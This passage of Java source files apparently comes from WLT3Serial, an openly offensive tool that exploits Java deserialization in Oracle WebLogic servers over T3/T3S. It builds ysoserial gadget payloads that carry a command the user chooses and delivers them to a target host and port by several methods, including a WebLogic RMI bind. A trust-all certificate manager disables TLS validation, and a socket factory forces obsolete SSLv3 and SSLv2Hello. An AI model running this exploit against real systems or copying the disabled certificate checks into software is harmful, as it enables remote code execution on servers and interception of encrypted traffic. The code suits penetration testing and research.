option to see full error output!")); 64 | } else if(message.contains("java.io.IOException: Empty server reply")) { //Server may not be WebLogic server 65 | System.out.print("\b\b\b\bfailed!\n"); 66 | System.err.println("Target Server/Port at "+host+":"+port+" does not appear to be running "+protocol.toUpperCase()+"! Target may not be a WebLogic Server!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 67 | } else if(message.contains("java.net.ConnectException: Connection refused")) { //host is down or port is closed 68 | System.out.print("\b\b\b\bfailed!\n"); 69 | System.err.println(protocol.toUpperCase()+" Connection to "+host+":"+Integer.toString(port)+" refused! Target host appears to be down or port is closed!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 70 | } else if(message.contains("javax.net.ssl.SSLHandshakeException")) { 71 | System.out.print("\b\b\b\bfailed!\n"); 72 | if(message.contains("handshake_failure")) { //SSL Handshake failed due to mismatched supported protocols 73 | System.err.println(protocol.toUpperCase()+" Connection to "+host+":"+Integer.toString(port)+" failed (Handshake Error)! Try a different SSL/TLS connection protocol!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 74 | } else if(message.contains("Remote host closed connection during handshake")) { //SSL Handshake failed due to server not supporting encrypted connections 75 | System.err.println(protocol.toUpperCase()+" Connection to "+host+":"+Integer.toString(port)+" failed, Remote host closed connection during handshake! Target host/port may not be running an SSL/TLS service!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 76 | } else { //SSL Handshake failed because server may only support clear-text connection 77 | System.err.println(protocol.toUpperCase()+" Connection to "+host+":"+Integer.toString(port)+" failed! Target host/port may not be running an SSL/TLS service!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 78 | } 79 | } else if(message.contains("javax.net.ssl.SSLException: Unsupported record version")) { //T3S connection failed due to mismatched supported protocols 80 | System.out.print("\b\b\b\bfailed!\n"); 81 | System.err.println(protocol.toUpperCase()+" Connection to "+host+":"+Integer.toString(port)+" failed! Try a different SSL/TLS connection protocol!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 82 | } else if(message.contains("javax.net.ssl.SSLException: Unrecognized SSL message, plaintext connection?")) { //T3S connection failed due to server not supporting encrypted connections 83 | System.out.print("\b\b\b\bfailed!\n"); 84 | System.err.println(protocol.toUpperCase()+" Connection to "+host+":"+Integer.toString(port)+" failed, Remote host closed connection during handshake! Target host/port may not be running an SSL/TLS service!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 85 | } else if(message.contains("java.net.SocketException: Connection reset") && protocol.toUpperCase().equals("T3")) { //clear-text connection failed because server only supports encrypted connection 86 | System.out.print("\b\b\b\bfailed!\n"); 87 | System.err.println("Target Server/Port at "+host+":"+port+" forcefully reset "+protocol.toUpperCase()+" connection! Service may be running with SSL/TLS (use --t3s option)!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 88 | } else { //Unknown Connection Error 89 | System.err.println("Unknown Connection Error occurred: connection failed"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 90 | } 91 | } 92 | break; 93 | case "weblogic.socket.UnrecoverableConnectException": 94 | System.out.print("\b\b\b\bfailed!\n"); 95 | message = cause.getMessage(); 96 | if(message.contains("Login failed for an unknown reason") && protocol.toUpperCase().equals("T3")) { //clear-text connection failed because server only supports encrypted connection 97 | System.err.println("Target Server/Port at "+host+":"+port+" forcefully reset "+protocol.toUpperCase()+" connection! Service may be running with SSL/TLS (use --t3s option)!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 98 | } else if(message.contains("Login failed for an unknown reason") && protocol.toUpperCase().equals("T3S")) { //encrypted connection failed because server only supports clear-text connection 99 | System.err.println("Target Server/Port at "+host+":"+port+" forcefully reset "+protocol.toUpperCase()+" connection! Target may not be a WebLogic Server!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 100 | } else { //Unknown Unrecoverable Connection Error 101 | System.err.println("Unknown Unrecoverable Connection Error occurred!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 102 | } 103 | break; 104 | default: //Unknown Connection Error 105 | System.out.print("\b\b\b\b???\n"); 106 | System.err.println("Unknown Connection Error occurred ("+eType+")!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 107 | break; 108 | } 109 | } else { //Unknown Communication Error 110 | System.out.print("\b\b\b\b???\n"); 111 | System.err.println("Unknown Communication Error occurred!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 112 | } 113 | 114 | if(verbose) { //print full stack trace output if --verbose option is set 115 | System.err.print("\n"); 116 | ce.printStackTrace(); 117 | } 118 | } 119 | } 120 | -------------------------------------------------------------------------------- /src/bort/millipede/wlt3/CustomSSLSocketFactory.java: -------------------------------------------------------------------------------- 1 | /* 2 | CustomSSLSocketFactory.java 3 | 4 | v0.3 (1/18/2018) 5 | 6 | Custom implementation of SSLSocketFactory class, intent upon selecting specific SSL/TLS protocol(s) for execution and disabling all SSL/TLS 7 | certificate validation. Sets enabled SSL/TLS protocol(s) based on the value of System property 'jdk.tls.client.protocols'. Intended to 8 | override default SSLSocketFactory class in JVM version 7 or lower (as JVM version 8 and higher perform the functions of this custom 9 | implementation natively by setting System property 'jdk.tls.client.protocols' during runtime). 10 | 11 | Adapted from custom SSLSocketFactory implementation found here: https://gist.github.com/fkrauthan/ac8624466a4dee4fd02f 12 | */ 13 | 14 | package bort.millipede.wlt3; 15 | 16 | import java.util.ArrayList; 17 | import java.net.Socket; 18 | import java.net.InetAddress; 19 | import javax.net.SocketFactory; 20 | import javax.net.ssl.SSLSocketFactory; 21 | import javax.net.ssl.SSLContext; 22 | import javax.net.ssl.SSLSocket; 23 | import javax.net.ssl.TrustManager; 24 | import java.io.IOException; 25 | 26 | public class CustomSSLSocketFactory extends SSLSocketFactory { 27 | private SSLSocketFactory defaultSSLSocketFactory; 28 | 29 | public CustomSSLSocketFactory() throws Exception { 30 | super(); 31 | String prot = System.getProperty("jdk.tls.client.protocols"); 32 | if(prot.contains("SSL")) { 33 | prot = "SSL"; 34 | } 35 | 36 | //disable all SSL/TLS certificate validation, and get reference to current system-wide SSLSocketFactory 37 | SSLContext context = SSLContext.getInstance(prot); 38 | TrustManager[] trustAll = new TrustManager[] {new TrustAllCertsManager()}; 39 | context.init(null,trustAll,null); 40 | defaultSSLSocketFactory = context.getSocketFactory(); 41 | } 42 | 43 | //set specific SSL/TLS protocol(s) for SSL/TLS-enabled sockets 44 | private Socket setSSLTLSProtocols(Socket socket) { 45 | if(socket != null && (socket instanceof SSLSocket)) { //if inputted Socket is an SSL/TLS-enabled Socket: parse enabled protocols and apply 46 | String tlsSysProp = System.getProperty("jdk.tls.client.protocols"); 47 | ArrayList protocols = new ArrayList(5); 48 | protocols.add("SSLv2Hello"); 49 | protocols.add("SSLv3"); 50 | protocols.add("TLSv1"); 51 | protocols.add("TLSv1.1"); 52 | protocols.add("TLSv1.2"); 53 | 54 | //set enabled SSL/TLS protocol(s) appropriately 55 | String[] enabledProts = new String[1]; 56 | if(tlsSysProp.contains("SSL")) { //using SSL protocol(s) for connection 57 | protocols.remove("TLSv1.2"); 58 | protocols.remove("TLSv1.1"); 59 | protocols.remove("TLSv1"); 60 | if(!tlsSysProp.contains("SSLv2Hello")) protocols.remove("SSLv2Hello"); 61 | 62 | if(protocols.size()>1) { 63 | enabledProts = new String[] {"SSLv2Hello","SSLv3"}; 64 | } else { 65 | enabledProts[0] = "SSLv3"; 66 | } 67 | } else { //using TLS protocol for connection 68 | protocols.remove("SSLv2Hello"); 69 | protocols.remove("SSLv3"); 70 | if(tlsSysProp.contains("TLSv1.2")) { 71 | enabledProts[0] = "TLSv1.2"; 72 | } else if(tlsSysProp.contains("TLSv1.1")) { 73 | enabledProts[0] = "TLSv1.1"; 74 | } else if(tlsSysProp.contains("TLSv1")) { 75 | enabledProts[0] = "TLSv1"; 76 | } 77 | } 78 | 79 | ((SSLSocket) socket).setEnabledProtocols(enabledProts); 80 | } 81 | return socket; 82 | } 83 | 84 | 85 | //SocketFactory methods 86 | @Override 87 | public Socket createSocket() throws IOException { 88 | return setSSLTLSProtocols(defaultSSLSocketFactory.createSocket()); 89 | } 90 | 91 | @Override 92 | public Socket createSocket(InetAddress host,int port) throws IOException { 93 | return setSSLTLSProtocols(defaultSSLSocketFactory.createSocket(host,port)); 94 | } 95 | 96 | @Override 97 | public Socket createSocket(InetAddress address,int port,InetAddress localAddress,int localPort) throws IOException { 98 | return setSSLTLSProtocols(defaultSSLSocketFactory.createSocket(address,port,localAddress,localPort)); 99 | } 100 | 101 | @Override 102 | public Socket createSocket(String host,int port) throws IOException { 103 | return setSSLTLSProtocols(defaultSSLSocketFactory.createSocket(host,port)); 104 | } 105 | 106 | @Override 107 | public Socket createSocket(String host,int port,InetAddress localHost,int localPort) throws IOException { 108 | return setSSLTLSProtocols(defaultSSLSocketFactory.createSocket(host,port,localHost,localPort)); 109 | } 110 | 111 | 112 | //SSLSocketFactory methods 113 | @Override 114 | public Socket createSocket(Socket s,String host,int port,boolean autoClose) throws IOException { 115 | return setSSLTLSProtocols(defaultSSLSocketFactory.createSocket(s,host,port,autoClose)); 116 | } 117 | 118 | @Override 119 | public String[] getDefaultCipherSuites() { 120 | return defaultSSLSocketFactory.getDefaultCipherSuites(); 121 | } 122 | 123 | @Override 124 | public String[] getSupportedCipherSuites() { 125 | return defaultSSLSocketFactory.getSupportedCipherSuites(); 126 | } 127 | } 128 | -------------------------------------------------------------------------------- /src/bort/millipede/wlt3/TrustAllCertsManager.java: -------------------------------------------------------------------------------- 1 | /* 2 | TrustAllCertsManager.java 3 | 4 | v0.2 (12/2/2017) 5 | 6 | Class intended to override the default SSL/TLS trust manager to trust all certificates. 7 | */ 8 | 9 | package bort.millipede.wlt3; 10 | 11 | import java.net.Socket; 12 | import java.security.cert.X509Certificate; 13 | import javax.net.ssl.SSLEngine; 14 | import javax.net.ssl.X509ExtendedTrustManager; 15 | 16 | class TrustAllCertsManager extends X509ExtendedTrustManager { 17 | TrustAllCertsManager() { 18 | 19 | } 20 | 21 | @Override 22 | public void checkClientTrusted(X509Certificate[] chain,String authType) { 23 | //empty: trust all client certificates 24 | } 25 | 26 | @Override 27 | public void checkClientTrusted(X509Certificate[] chain, String authType, Socket socket) { 28 | //empty: trust all client certificats 29 | } 30 | 31 | @Override 32 | public void checkClientTrusted(X509Certificate[] chain, String authType, SSLEngine engine) { 33 | //empty: trust all client certificats 34 | } 35 | 36 | @Override 37 | public void checkServerTrusted(X509Certificate[] chain,String authType) { 38 | //empty: trust all server certificates 39 | } 40 | 41 | @Override 42 | public void checkServerTrusted(X509Certificate[] chain, String authType, Socket socket) { 43 | //empty: trust all server certificats 44 | } 45 | 46 | @Override 47 | public void checkServerTrusted(X509Certificate[] chain, String authType, SSLEngine engine) { 48 | //empty: trust all server certificats 49 | } 50 | 51 | @Override 52 | public X509Certificate[] getAcceptedIssuers() { 53 | return null; //empty: accept all issuers 54 | } 55 | } 56 | 57 | -------------------------------------------------------------------------------- /src/bort/millipede/wlt3/WLNamingExploit.java: -------------------------------------------------------------------------------- 1 | /* 2 | WLNamingExploit.java 3 | 4 | v0.4 (10/23/2018) 5 | 6 | Class for executing java deserialization exploit against WebLogic Servers by way of WebLogic RMI remote object binding (runWLBindExploit). For T3S connections, JVM SSL/TLS 7 | settings (enabled protocol(s), disabling certification validation, etc.) must be configured BEFORE calling runWLBindExploit method. 8 | */ 9 | 10 | package bort.millipede.wlt3; 11 | 12 | import java.rmi.Remote; 13 | import java.rmi.MarshalException; 14 | import java.rmi.UnknownHostException; 15 | 16 | //third-party includes 17 | import weblogic.rmi.Naming; 18 | import weblogic.rjvm.PeerGoneException; 19 | import ysoserial.payloads.util.Gadgets; 20 | 21 | class WLNamingExploit { 22 | //Run deserialization exploit by sending payload as WebLogic RMI object to bind to name (via weblogic.rmi.Naming.bind(), similar to ysoserial.exploit.RMIRegistryExploit) 23 | //if using T3S, desired SSL/TLS protocols must be enabled/disabled prior to method call 24 | static void runWLBindExploit(Object payload,String host,int port,boolean t3s,boolean verbose) { 25 | String protocol = "t3"; 26 | if(t3s) protocol = "t3s"; 27 | 28 | try { 29 | Naming.bind(protocol+"://"+host+":"+Integer.toString(port)+"/Mcgarnigal"+System.nanoTime(),Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned"+System.nanoTime(),payload),Remote.class)); //WebLogic T3 RMI bind-based exploitation 30 | System.out.println("No Exception(s) thrown, exploitation may be successful!"); 31 | } catch(MarshalException me) { 32 | System.out.print("\b\b\b\bsucceeded!\n"); 33 | System.out.println("Executing \"WLBind\" exploit method: "); 34 | 35 | Throwable cause = me.getCause(); 36 | if(cause!=null) { 37 | String eType = cause.getClass().getName(); 38 | switch(eType) { 39 | case "javax.naming.NoPermissionException": //no permission to bind remote object: this is normal 40 | System.out.println("javax.naming.NoPermissionException thrown, but this is normal for \"WLBind\" exploit method. Exploitation may be successful!"+(verbose ? "" : "\nRe-run with --verbose option to see full Exception output!")); 41 | break; 42 | case "java.rmi.server.SkeletonNotFoundException": 43 | String message = cause.getMessage(); 44 | if(message.contains("java.lang.ClassNotFoundException")) { 45 | System.err.println("Target WebLogic Server at "+protocol+"://"+host+":"+port+" does not appear to be vulnerable to chosen exploit method and/or payload type! Try a different exploit method (such as CustomClass) and/or payload type!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 46 | } 47 | break; 48 | default: //Unknown Marshal Error 49 | System.err.println("Unknown Marshal Error occurred ("+eType+")!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 50 | } 51 | } else { 52 | System.err.println("Unknown Marshal Error occurred!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 53 | } 54 | 55 | if(verbose) { //print stack trace output if --verbose option is set 56 | System.err.print("\n"); 57 | me.printStackTrace(); 58 | } 59 | } catch(PeerGoneException pge) { //Server forcefully closed connection, so server is likely patched 60 | System.out.print("\b\b\b\bsucceeded!\n"); 61 | System.out.println("Executing \"WLBind\" exploit method: "); 62 | System.err.println("Target WebLogic Server at "+protocol+"://"+host+":"+port+" forcefully closed "+protocol.toUpperCase()+" connection! Server seems to be patched!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 63 | if(verbose) { //print stack trace output if --verbose option is set 64 | System.err.print("\n"); 65 | pge.printStackTrace(); 66 | } 67 | } catch(UnknownHostException uhe) { 68 | System.out.print("\b\b\b\bfailed!\n"); 69 | 70 | Throwable cause = uhe.getCause(); 71 | if(cause!=null) { 72 | String eType = cause.getClass().getName(); 73 | switch(eType) { 74 | case "javax.naming.CommunicationException": 75 | String message = uhe.getMessage(); 76 | if(message.contains("java.io.IOException: Empty server reply")) { //Server may not be WebLogic server 77 | System.err.println("Target Server/Port at "+host+":"+port+" does not appear to be running "+protocol.toUpperCase()+"! Target may not be a WebLogic Server!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 78 | } else if(message.contains("java.net.ConnectException: Connection refused")) { //host is down or port is closed 79 | System.err.println(protocol.toUpperCase()+" Connection to "+host+":"+Integer.toString(port)+" refused! Target host appears to be down or port is closed!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 80 | } else if(message.contains("javax.net.ssl.SSLHandshakeException")) { 81 | if(message.contains("handshake_failure")) { //SSL Handshake failed due to mismatched supported protocols 82 | System.err.println(protocol.toUpperCase()+" Connection to "+host+":"+Integer.toString(port)+" failed (Handshake Error)! Try a different SSL/TLS connection protocol!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 83 | } else if(message.contains("Remote host closed connection during handshake")) { //SSL Handshake failed due to server not supporting encrypted connections 84 | System.err.println(protocol.toUpperCase()+" Connection to "+host+":"+Integer.toString(port)+" failed, Remote host closed connection during handshake! Target host/port may not be running an SSL/TLS service!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 85 | } else { //SSL Handshake failed because server may only support clear-text connection 86 | System.err.println(protocol.toUpperCase()+" Connection to "+host+":"+Integer.toString(port)+" failed! Target host/port may not be running an SSL/TLS service!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 87 | } 88 | } else if(message.contains("weblogic.socket.UnrecoverableConnectException") && message.contains("Login failed for an unknown reason")) { 89 | if(protocol.toUpperCase().equals("T3")) { //clear-text connection failed because server only supports encrypted connection 90 | System.err.println("Target Server/Port at "+host+":"+port+" forcefully reset "+protocol.toUpperCase()+" connection! Service may be running with SSL/TLS (use --t3s option)!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 91 | } else { //Server may not be WebLogic server 92 | System.err.println("Target Server/Port at "+host+":"+port+" forcefully reset "+protocol.toUpperCase()+" connection! Target may not be a WebLogic Server!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 93 | } 94 | } else { //Unknown Host Communication Error 95 | System.err.println("Unknown Host Communication Error occurred ("+eType+")!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 96 | } 97 | break; 98 | default: //Unknown Host Error 99 | System.err.println("Unknown Host Error occurred ("+eType+")!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 100 | break; 101 | } 102 | } else { //Unknown Host Error 103 | System.err.println("Unknown Host Error occurred"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 104 | } 105 | 106 | if(verbose) { //print full stack trace output if --verbose option is set 107 | System.err.print("\n"); 108 | uhe.printStackTrace(); 109 | } 110 | } catch(Exception e) { //Unknown error 111 | System.err.println("Unknown Error occurred ("+e.getClass().getName()+")!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 112 | if(verbose) { 113 | System.err.print("\n"); 114 | e.printStackTrace(); 115 | } 116 | } 117 | } 118 | } 119 | 120 | -------------------------------------------------------------------------------- /src/bort/millipede/wlt3/WLT3Serial.java: -------------------------------------------------------------------------------- 1 | /* 2 | WLT3Serial.java 3 | 4 | v0.4 (10/23/2018) 5 | 6 | Main class for executing java deserialization exploit against WebLogic Servers hosting a T3 or T3S listener. Parses command options, configures JVM SSL/TLS settings (if T3S 7 | connection will be used), then executes exploit with set options. 8 | */ 9 | 10 | package bort.millipede.wlt3; 11 | 12 | import java.util.Collections; 13 | import java.util.List; 14 | import java.util.ArrayList; 15 | 16 | //third-party includes 17 | import ysoserial.Strings; 18 | import ysoserial.payloads.ObjectPayload; 19 | import ysoserial.payloads.ObjectPayload.Utils; 20 | 21 | public class WLT3Serial { 22 | public static void main(String[] args) { 23 | System.out.print("\n"); //to make output slightly easier to read 24 | 25 | if(args.length<4) { //check number of arguments, print Usage if short 26 | usage(); 27 | return; 28 | } 29 | 30 | //set required options 31 | String host = args[args.length-4]; 32 | int port = -1; 33 | try { 34 | port = Integer.parseInt(args[args.length-3]); 35 | } catch(NumberFormatException nfe) { 36 | System.err.println("Error: Invalid port "+args[args.length-3]+"!"); 37 | return; 38 | } 39 | if(port<0 || port>65535) { 40 | System.err.println("Error: Invalid port "+args[args.length-3]+"!"); 41 | return; 42 | } 43 | String payloadType = args[args.length-2]; 44 | String command = args[args.length-1]; 45 | boolean t3s = false; 46 | String method = "Property"; 47 | boolean verbose = false; 48 | 49 | //parse options from command-line 50 | if(args.length>4) { 51 | int lastOpt = args.length-5; 52 | boolean methSet = false; //if exploit method has been set 53 | boolean tlsSet = false; //if T3S flag has been set 54 | for(int i=0;i<=lastOpt;i++) { 55 | String opt = args[i]; 56 | opt = opt.trim(); 57 | if(opt.length()!=0 && opt.length()>=2) { 58 | switch(opt) { 59 | default: //invalid argument 60 | System.err.println("Error: Invalid option \""+opt+"\"\n"); 61 | usage(); 62 | return; 63 | case "--help": //print usage 64 | usage(); 65 | return; 66 | case "--verbose": //enable verbose output 67 | verbose=true; 68 | break; 69 | case "--method=Property": //set "Connect Property Value" exploit method 70 | if(!methSet) { 71 | method = "Property"; 72 | methSet = true; 73 | } else { 74 | System.err.println("Error: Multiple Exploit Methods set, please choose only one method\n"); 75 | usage(); 76 | return; 77 | } 78 | break; 79 | case "--method=Bind": //set "Bind object" exploit method 80 | if(!methSet) { 81 | method = "Bind"; 82 | methSet = true; 83 | } else { 84 | System.err.println("Error: Multiple Exploit Methods set, please choose only one method\n"); 85 | usage(); 86 | return; 87 | } 88 | break; 89 | case "--method=WLBind": //set "WebLogic RMI Bind object" exploit method 90 | if(!methSet) { 91 | method = "WLBind"; 92 | methSet = true; 93 | } else { 94 | System.err.println("Error: Multiple Exploit Methods set, please choose only one method\n"); 95 | usage(); 96 | return; 97 | } 98 | break; 99 | case "--method=CustomClass": //set "Custom ClassTableEntry Class" exploit method 100 | if(!methSet) { 101 | method = "CustomClass"; 102 | methSet = true; 103 | } else { 104 | System.err.println("Error: Multiple Exploit Methods set, please choose only one method\n"); 105 | usage(); 106 | return; 107 | } 108 | break; 109 | case "--t3s=TLSv1.2": //use T3S to connect with TLSv1.2 110 | if(!tlsSet) { 111 | t3s = true; 112 | System.setProperty("jdk.tls.client.protocols","TLSv1.2"); 113 | tlsSet = true; 114 | } else { 115 | System.err.println("Error: Multiple SSL/TLS version options set, please choose only one version\n"); 116 | usage(); 117 | return; 118 | } 119 | break; 120 | case "--t3s=TLSv1.1": //use T3S to connect with TLSv1.1 121 | if(!tlsSet) { 122 | t3s = true; 123 | System.setProperty("jdk.tls.client.protocols","TLSv1.1"); 124 | tlsSet = true; 125 | } else { 126 | System.err.println("Error: Multiple SSL/TLS version options set, please choose only one version\n"); 127 | usage(); 128 | return; 129 | } 130 | break; 131 | case "--t3s": //use T3S to connect (with TLSv1) 132 | case "--t3s=TLSv1": //use T3S to connect with TLSv1 133 | if(!tlsSet) { 134 | t3s = true; 135 | System.setProperty("jdk.tls.client.protocols","TLSv1"); 136 | tlsSet = true; 137 | } else { 138 | System.err.println("Error: Multiple SSL/TLS version options set, please choose only one version\n"); 139 | usage(); 140 | return; 141 | } 142 | break; 143 | case "--t3s=SSLv3": //use T3S to connect with SSLv3 144 | if(!tlsSet) { 145 | t3s = true; 146 | System.setProperty("jdk.tls.client.protocols","SSLv3"); 147 | tlsSet = true; 148 | } else { 149 | System.err.println("Error: Multiple SSL/TLS version options set, please choose only one version\n"); 150 | usage(); 151 | return; 152 | } 153 | break; 154 | case "--t3s=SSLv2": //use T3S to connect with SSLv2Hello, falling back to SSLv3 after handshake 155 | if(!tlsSet) { 156 | t3s = true; 157 | System.setProperty("jdk.tls.client.protocols","SSLv2Hello,SSLv3"); 158 | tlsSet = true; 159 | } else { 160 | System.err.println("Error: Multiple SSL/TLS version options set, please choose only one version\n"); 161 | usage(); 162 | return; 163 | } 164 | break; 165 | } 166 | } else { 167 | System.err.println("Error: Invalid option \""+opt+"\"\n"); 168 | return; 169 | } 170 | } 171 | } 172 | 173 | //check if correct weblogic.rjvm.ClassTableEntry class (default or custom) is loaded into JVM for chosen exploitaton method 174 | switch(method) { 175 | case "Property": 176 | case "Bind": 177 | case "WLBind": 178 | if(WLT3SerialHelper.isCTECustom()) { 179 | System.err.print("Error: wrong weblogic.rjvm.ClassTableEntry class loaded! "); 180 | System.err.print("Re-run WLT3Serial with different classpath argument (wlthint3client.jar should be specified before WLT3Serial.jar)!\n"); 181 | return; 182 | } 183 | break; 184 | case "CustomClass": 185 | if(!WLT3SerialHelper.isCTECustom()) { 186 | System.err.print("Error: wrong weblogic.rjvm.ClassTableEntry class loaded! "); 187 | System.err.print("Re-run WLT3Serial with different classpath argument (WLT3Serial.jar should be specified before wlthint3client.jar)!\n"); 188 | return; 189 | } 190 | break; 191 | } 192 | 193 | try { 194 | //check validity of inputted ysoserial payload type, and generate ysoserial payload 195 | final Class payloadClass = Utils.getPayloadClass(payloadType); 196 | if(payloadClass == null) { 197 | System.err.println("Error: Invalid payload type \""+payloadType+"\"! Ensure that ysoserial.jar file is in classpath, and check Usage (--help option) for available payload types!"); 198 | return; 199 | } 200 | final ObjectPayload payload = payloadClass.newInstance(); 201 | final Object object = payload.getObject(command); 202 | 203 | //set desired SSL/TLS protocol(s) (if using T3S) and display connection information 204 | System.out.print("\nConnecting to WebLogic Server at "+(t3s ? "t3s" : "t3" )+"://"+host+":"+Integer.toString(port)); 205 | if(t3s) { 206 | WLT3SerialHelper.setSSLTLSProtocol(); 207 | String encProt = System.getProperty("jdk.tls.client.protocols"); 208 | System.out.print(" (with "); 209 | if(encProt.contains("SSLv2Hello")) { 210 | System.out.print("SSLv2Hello handshake and SSLv3)"); 211 | } else { 212 | System.out.print(encProt); 213 | } 214 | System.out.print(")"); 215 | } 216 | System.out.print(": ... "); 217 | 218 | //run exploit 219 | switch(method) { 220 | case "Property": 221 | ContextExploit.runPropertyExploit(object,host,port,t3s,verbose); 222 | break; 223 | case "Bind": 224 | ContextExploit.runBindExploit(object,host,port,t3s,verbose); 225 | break; 226 | case "WLBind": 227 | WLNamingExploit.runWLBindExploit(object,host,port,t3s,verbose); 228 | break; 229 | case "CustomClass": 230 | System.setProperty("bort.millipede.wlt3.type",payloadType); 231 | System.setProperty("bort.millipede.wlt3.command",command); 232 | CustomClassTableEntryExploit.runCustomClassExploit(host,port,t3s,verbose); 233 | break; 234 | } 235 | } catch(NoClassDefFoundError ncdfe) { 236 | String message = ncdfe.getMessage(); 237 | if(message.contains("ysoserial")) { 238 | System.err.println("Error loading ysoserial library! Ensure that ysoserial.jar file is in classpath, and check Usage (--help option) for available payload types!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 239 | } else if(message.contains("weblogic")) { 240 | System.out.println("\b\b\b\bfailed!"); 241 | System.err.println("Error loading wlthint3client! Ensure that wlthint3client.jar file is in classpath!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 242 | } 243 | 244 | if(verbose) { 245 | System.err.print("\n"); 246 | ncdfe.printStackTrace(); 247 | } 248 | } catch(Exception e) { 249 | System.err.println("Unknown Error Occurred ("+e.getClass().getName()+")"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 250 | if(verbose) { 251 | System.err.print("\n"); 252 | e.printStackTrace(); 253 | } 254 | } 255 | } 256 | 257 | //print Usage information 258 | private static void usage() { 259 | System.err.println("Usage: WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMD"); 260 | System.err.println("\nOptions:"); 261 | System.err.println("\t--help\t\t\t\tprint usage (you\'re lookin at it)\n"); 262 | System.err.println("\t--verbose\t\t\tVerbose output (full thrown exception output; Disabled by default)\n"); 263 | System.err.println("\t--method=EXPLOIT_METHOD\t\tExploit Method for delivering generated ysoserial payload"); 264 | System.err.println("\t\tExploit Methods:\n\t\t\tProperty\tSend ysoserial payload as connection environment property value (Default; via javax.naming.Context.lookup(), variation of ysoserial.exploit.RMIRegistryExploit)"); 265 | System.err.println("\t\t\tBind\t\tSend ysoserial payload as object to bind to name (via javax.naming.Context.bind(), similar to ysoserial.exploit.RMIRegistryExploit)"); 266 | System.err.println("\t\t\tWLBind\t\tSend ysoserial payload as WebLogic RMI object to bind to name (via weblogic.rmi.Naming.bind(), similar to ysoserial.exploit.RMIRegistryExploit)"); 267 | System.err.println("\t\t\tCustomClass\tSend ysoserial payload during T3/T3S connection initialization (via custom weblogic.rjvm.ClassTableEntry class, similar to JavaUnserializeExploits weblogic.py)\n"); 268 | System.err.println("\t--t3s[=PROTOCOL]\t\tUse T3S (transport-encrypted) connection (Disabled by default)"); 269 | System.err.println("\t\tProtocols:\n\t\t\tTLSv1.2\n\t\t\tTLSv1.1\n\t\t\tTLSv1 (Default)\n\t\t\tSSLv3"); 270 | System.err.println("\t\t\tSSLv2 (SSLv2Hello handshake only, then fallback to SSLv3 for communication: this is an Oracle Java limitation, not a WLT3Serial limitation)\n\n"); 271 | 272 | //list available ysoserial payload types, or print error on failure 273 | System.err.println("Available Payload Types (WebLogic is usually vulnerable to \"CommonsCollectionsX\" and \"JRMPClientX\" types):"); 274 | try { 275 | final List> payloadClasses = new ArrayList>(ObjectPayload.Utils.getPayloadClasses()); 276 | Collections.sort(payloadClasses, new Strings.ToStringComparator()); 277 | for (Class payloadClass : payloadClasses) { 278 | System.err.println("\t"+payloadClass.getSimpleName()); 279 | } 280 | System.err.println(""); 281 | } catch(NoClassDefFoundError ncdfe) { 282 | System.err.println("\tNo ysoserial object payload classes found! Ensure that ysoserial jar file is in classpath when executing WLT3Serial!\n"); 283 | } catch(Exception e) { 284 | System.err.println("\tUnknown Error occurred while listing ysoserial object payload classes ("+e.getClass().getName()+")!"); 285 | } 286 | } 287 | } 288 | 289 | -------------------------------------------------------------------------------- /src/bort/millipede/wlt3/WLT3SerialHelper.java: -------------------------------------------------------------------------------- 1 | /* 2 | WLT3SerialHelper.java 3 | 4 | v0.4 (10/23/2018) 5 | 6 | Helper class containing static methods to be used throughout WLT3Serial (in the bort.millipede.wlt3 package). 7 | */ 8 | 9 | package bort.millipede.wlt3; 10 | 11 | import java.lang.reflect.Method; 12 | import java.security.Security; 13 | import java.util.ArrayList; 14 | import java.util.List; 15 | import javax.net.ssl.SSLContext; 16 | import javax.net.ssl.TrustManager; 17 | 18 | class WLT3SerialHelper { 19 | //Set SSL/TLS options: enable desired protocol(s) and disable protocols not chosen during application startup 20 | static void setSSLTLSProtocol() throws Exception { 21 | String tlsSysProp = System.getProperty("jdk.tls.client.protocols"); 22 | 23 | //check if 'jdk.tls.disabledAlgorithms' Security property is set, and remove SSLv3 if set 24 | String tlsSecProp = Security.getProperty("jdk.tls.disabledAlgorithms"); 25 | if(tlsSecProp!=null) { 26 | ArrayList protocols = new ArrayList(5); 27 | protocols.add("SSLv2Hello"); 28 | protocols.add("SSLv3"); 29 | protocols.add("TLSv1"); 30 | protocols.add("TLSv1.1"); 31 | protocols.add("TLSv1.2"); 32 | 33 | String disabledProts = null; 34 | if(tlsSysProp.contains("SSL")) { //using SSL protocol(s) for connection 35 | 